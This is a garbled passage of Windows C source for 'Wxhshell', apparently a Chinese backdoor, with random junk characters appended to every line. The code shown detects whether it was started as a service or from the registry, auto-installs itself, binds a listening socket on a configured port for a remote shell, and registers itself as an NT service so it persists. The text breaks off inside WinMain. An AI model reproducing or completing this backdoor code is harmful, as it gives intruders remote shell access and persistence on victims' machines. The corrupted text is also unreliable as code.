DWORD AffinityMask; |UA)s3Uhxb
DWORD BasePriority; .nXOv]
ULONG UniqueProcessId; `tmd'
ULONG InheritedFromUniqueProcessId; NWK+.{s>m
} PROCESS_BASIC_INFORMATION; 85$W\d
+Usy
PROCNTQSIP NtQueryInformationProcess; nJEm&"AI
Qfx:}zk{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >Q159qZ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~N2<-~=si
_0Mt*]L }
HANDLE hProcess; ^SdorPOq&
PROCESS_BASIC_INFORMATION pbi; ==$>M
d
Yh=/?&*
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tvh)N{j
if(NULL == hInst ) return 0; {5<3./5O
s,KE,$5F
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x3dP`<
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f@:.bp8VB8
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -Xm/sq(i)%
Iu<RwB[#Q
if (!NtQueryInformationProcess) return 0; 58T<~u7
MiB"CcU
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u$A*Vsmr
if(!hProcess) return 0; |&O7F;/_
z:
x|;Ps!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :i;iSrKy
(%`R{Y
CloseHandle(hProcess); gpo+-NnG
Ebmd[A&&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (QARle(i
if(hProcess==NULL) return 0; $j ZU(<4,
<{
Z$!]i1
HMODULE hMod; %hEhZW{:
char procName[255]; #x)lN
unsigned long cbNeeded; =#tQhg,_
w 0V=49
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y$JM=f$
hj~nLgpN
CloseHandle(hProcess); =LP,+z
c:%ll&Xtn
if(strstr(procName,"services")) return 1; // 以服务启动 }p2YRTH x
6Dx^$=Sa$
return 0; // 注册表启动 P5vxQR_*lc
} @j|B1:O
az5 $.
// 主模块 C(t>ZR
int StartWxhshell(LPSTR lpCmdLine) }ioHSkCD
{ hB]\vA7
SOCKET wsl; znNJ?
BOOL val=TRUE; *G]zN "Y
int port=0; Tc{n]TV
struct sockaddr_in door; "JHdF&
rD7L==Ld
if(wscfg.ws_autoins) Install(); ]z^*1^u^ig
_{d0Nm
port=atoi(lpCmdLine); r`t|}m
x*p>l !
if(port<=0) port=wscfg.ws_port; v6Vd V.BI
6*!R'
WSADATA data; s]tBd!~
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `V(zz
`pB]_"b
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R~=_,JUW
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s>A!Egmo
door.sin_family = AF_INET; ;QRnZqSv
door.sin_addr.s_addr = inet_addr("127.0.0.1"); /FP;Hsw%
door.sin_port = htons(port); aGUKpYF
`i'72\(
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SCXH{8SS
closesocket(wsl); {
S]"-x
return 1; tH7@oV;
} 9e`.H0
j,HUk,e^&
if(listen(wsl,2) == INVALID_SOCKET) { =.*+c\
closesocket(wsl); |H!kU.f]
return 1; mBp3_E.t
} PNjZbOmzS
Wxhshell(wsl); }"V$li
WSACleanup(); n0/H2>I[
=th(Hdk17
return 0; -AJ$-y
f&z@J,_=
} 6}Iu~|5
.Mn+Bd4f
// 以NT服务方式启动 eM3-S=R?<g
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r)9&'m .:
{ 1;e"3x"
DWORD status = 0; .<0s?Q
DWORD specificError = 0xfffffff; @xO?SjH
G`a,(<kT;
serviceStatus.dwServiceType = SERVICE_WIN32; 9;fyC=
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 7W{xK'|]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3 &aBU[
serviceStatus.dwWin32ExitCode = 0; /b$0).fj@,
serviceStatus.dwServiceSpecificExitCode = 0; V*$(T t(
serviceStatus.dwCheckPoint = 0; v#HaZT]u
serviceStatus.dwWaitHint = 0; hkK+BmMj\
7wO0d/l_
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S:\a&+og
if (hServiceStatusHandle==0) return; k|O?qE1hP
5BztOYn,
status = GetLastError(); 0n'~wz"wB
if (status!=NO_ERROR) r87)?-B
{ W(C\lSE0
serviceStatus.dwCurrentState = SERVICE_STOPPED; *%{
serviceStatus.dwCheckPoint = 0; {*X8!P7C
serviceStatus.dwWaitHint = 0; T)!$-qdz/
serviceStatus.dwWin32ExitCode = status; $?Et sf#*'
serviceStatus.dwServiceSpecificExitCode = specificError; YY&3M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3@d{C^\
return; !I7bxDzK$
} h{$mL#J
Vy+%sG
q"
serviceStatus.dwCurrentState = SERVICE_RUNNING; *KDT0 ;/s
serviceStatus.dwCheckPoint = 0; (|{b ZW}
serviceStatus.dwWaitHint = 0; Hy?+p{{G
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tt|v opz
} $. ;j4%%
c`hj^t
// 处理NT服务事件,比如:启动、停止 t
Q0vX@I<v
VOID WINAPI NTServiceHandler(DWORD fdwControl) &8l4A=l$
{ Mp8FYPjZ
switch(fdwControl) #6jdv|fu
{ r_5k$u(
case SERVICE_CONTROL_STOP: 6I)1[tU
serviceStatus.dwWin32ExitCode = 0; dzK]F/L]
serviceStatus.dwCurrentState = SERVICE_STOPPED; j:JM v
serviceStatus.dwCheckPoint = 0; >N&C-6W
serviceStatus.dwWaitHint = 0; QGWfF,q
{ oAMB}a;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Mujx3Fmvx
} TQcEe@$)
return; h-^7cHI}
case SERVICE_CONTROL_PAUSE: L>,j*a_[
serviceStatus.dwCurrentState = SERVICE_PAUSED; @YH<Hc
break; CL~21aslI
case SERVICE_CONTROL_CONTINUE: MzF9 &{N
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;AFF7N>&
break; z%F68f73
case SERVICE_CONTROL_INTERROGATE: LC!ZeW35
break; x vi&d1
}; C*S%aR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6{XdLI
} l~Em2@c
]<V,5'xh
// 标准应用程序主函数 ,%|$#
g 0
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r N"P
IH
{ L$ nFRl&
"8bxb
// 获取操作系统版本 l&